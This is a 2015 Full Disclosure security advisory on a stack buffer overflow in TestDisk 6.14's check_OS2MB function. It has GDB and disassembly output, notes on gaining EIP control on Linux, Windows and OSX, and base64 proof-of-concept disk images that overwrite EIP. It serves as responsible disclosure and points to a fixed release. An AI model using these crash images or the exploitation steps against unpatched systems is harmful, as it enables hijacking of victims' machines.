Message-ID: <5541C090.4060106@security-assessment.com>
Date: Thu, 30 Apr 2015 17:41:36 +1200
From: Denis Andzakovic <denis.andzakovic@...urity-assessment.com>
To: <fulldisclosure@...lists.org>
Subject: [FD] TestDisk 6.14 Check_OS2MB Stack Buffer Overflow

(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

TestDisk 6.14 Check_OS2MB Stack Buffer Overflow
Affected versions: TestDisk 6.14 - Linux, Windows and Mac OSX

PDF:
http://www.security-assessment.com/files/documents/advisory/Testdisk%20Check_OS2MB%20Stack%20Buffer%20Overflow%20-%20Release.pdf

+-----------+
|Description|
+-----------+
This document details a stack based buffer overflow vulnerability within TestDisk 6.14. A buffer overflow is triggered
within the software when a malicious disk image is attempted to be recovered. This may be leveraged by an
attacker to crash TestDisk and gain control of program execution. An attacker would have to coerce the victim to run
TestDisk against their malicious image.

+------------+
|Exploitation|
+------------+
The check_OS2MB method (fat.c, line 862) is vulnerable to a stack based buffer overflow. This is due to the 512
byte buffer 'buffer' (defined in fat.c, check_OS2MB method, line 864) being overflowed by a subsequent memcpy
call in the cache_pread_aux method (hdcache.c, line 109). The third argument to the memcpy call (defining the
amount of data to be copied) is controlled by the attacker, this is set in a header in the test case (offset 0xC in the
below testcase, set to 2048, or 0x0800). 

The following GDB output shows the vulnerable memcpy call and the attacker controlled size argument (0x00000800):

Breakpoint 1, 0x0804e5c2 in cache_pread_aux (disk_car=0x80c13b0, buffer=0xbffff0f0, count=2048, offset=0, read_ahead=0) at hdcache.c:109
109		  memcpy(buffer, cache->buffer + offset - cache->cache_offset, count);
(gdb) x/i $eip
=> 0x804e5c2 <cache_pread_aux+298>:	call   0x80499f0 <memcpy@plt>
(gdb) x/3x $esp
0xbffff010:	0xbffff0f0	0x080c3000	0x00000800

The following base64 data contains the test case which results in EIP control, in this case EIP being set to
BEE5BEE5. The value EIP is overwritten with is at 0x20c

6zyQbWtkb3dmcwAACASOAAEAAIAQ+AEAAQABAAAAAOs8kG1rZAApj2Ji7SAgICAgICAgICAgRkFU
ICAgICAgIEZBVDEyICAgDh++W3ysIsB0C/Ay5M0ezRnr/lRoaXMgaXMgbm90IGEgYm9vdGFibGUg
ZGlzay4gIFBsZWFzZSBpbnNlcnQgYSBib290YWJsZSBmbG9wcHkgYW5kDQpwcmVzcyBhbnkga2V5
IHRvIHRyeSBhZ2FpbiAuLi5ADQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA7v//f/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADW1tbW1tbW1tbW1tbW1tbW
1tbW1tbW1tbW1tbW1tYAAAAAAAD+4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAD/D//pAAAA5gBAAAAAAAAAAB4AAAAAAAAAAAAAAPQAAAAAAOT98v//AAAAAAAA
AAAAEAD/AAAAAAAAAAAAAAAAAAAAgAAAAAUE/wAAAAAAAAAA7fcAAACAAAAAAAAAAAAABQAAAAAA
AAAAIwAAAACAAP/zAAAAAAQAAAAAAAAAAAAAAP8AAPj/ABcAAAAAAJaFhYWA/wAAAAAAAAAAVaoA
AAAAAAAAKY9iYu3lvuW+NAsGCA0K

--[ Linux
Note that in the provided test case, 4 bytes at 0x210 have been set to a valid address within the TEXT segment of
the TestDisk ELF file. This is due to GCC 4.7.2 compiling the Check_OS2MB method with the following assembly
code:

   0x08060a8d <+71>:	call   *%ecx
   0x08060a8f <+73>:	mov    %eax,%edx
   0x08060a91 <+75>:	mov    0x8(%ebp),%eax
   0x08060a94 <+78>:	mov    0x194(%eax),%eax
   0x08060a9a <+84>:	cmp    %eax,%edx
   0x08060a9c <+86>:	je     0x8060ac5 <check_OS2MB+127>

The instruction 'mov 0x8(%ebp), %eax' (0x08060a91) moves an attacker controlled portion of memory into the EAX
register and subsequently tries to read from that address ('mov 0x194(%eax)'). Thus, this has to be set to a
legitimate address, otherwise TestDisk performs an out-of-bounds memory read before returning from the
check_OS2MB method.

As long as EDX and EAX do not match, the check_OS2MB method calls screen_buffer_add and log_redirect, then
jumps to the end of the check_OS2MB method, successfully exploiting stack overflow and gaining EIP control.
The precompiled version of TestDisk has been compiled with a stack protector. In order to exploit the precompiled
version, an attacker would have to find a way to bypass GCC’s '-fstack-protector' functionality

--[ Windows
The provided test case results in EIP being overwritten with 0xBEE5BEE5 in the precompiled version of TestDisk. 
This was tested on Windows 7 and 8.1.

--[ Mac OSX
An attacker can also gain EIP control on the Mac OSX version of TestDisk 6.14, however the original test case
needs to be padded. The value EIP is overwritten with is at 0x21C in the OSX test case. The base64 of the OSX crash 
test case is below. As in the above examples, EIP is overwritten with 0xBEE5BEE5.

6zyQbWtkb3dmcwAACASOAAEAAIAQ+AEAAQABAAAAAOs8kG1rZAApj2Ji7SAgICAgICAgICAgRkFU
ICAgICAgIEZBVDEyICAgDh++W3ysIsB0C/Ay5M0ezRnr/lRoaXMgaXMgbm90IGEgYm9vdGFibGUg
ZGlzay4gIFBsZWFzZSBpbnNlcnQgYSBib290YWJsZSBmbG9wcHkgYW5kDQpwcmVzcyBhbnkga2V5
IHRvIHRyeSBhZ2FpbiAuLi5ADQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA7v//f/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADW1tbW1tbW1tbW1tbW1tbW
1tbW1tbW1tbW1tbW1tYAAAAAAAD+4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAD/D//pAAAA5gBAAAAAAAAAAB4AAAAAAAAAAAAAAPQAAAAAAOT98v//AAAAAAAA
AAAAEAD/AAAAAAAAAAAAAAAAAAAAgAAAAAUE/wAAAAAAAAAA7fcAAACAAAAAAAAAAAAABQAAAAAA
AAAAIwAAAACAAP/zAAAAAAQAAAAAAAAAAAAAAP8AAPj/ABcAAAAAAJaFhYWA/wAAAAAAAAAAVaoA
AAAAAAAAKY9iYu0AAAAAAAAAAAAAAAAAAAAA5b7lvg==

+----------+
| Solution |
+----------+
Upgrade to TestDisk 7.0 or newer.

+-------------------+
|Disclosure Timeline|
+-------------------+
9/04/2015 – Advisory sent to Christophe Grenier.
9/04/2015 – Response from Christophe Grenier advising that a fix is ready for the 
development version. Christophe advised a new stable version will be available in 2 weeks.
18/04/2015 – TestDisk 7.0 Released.
30/04/2015 – Release of this document.

+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+

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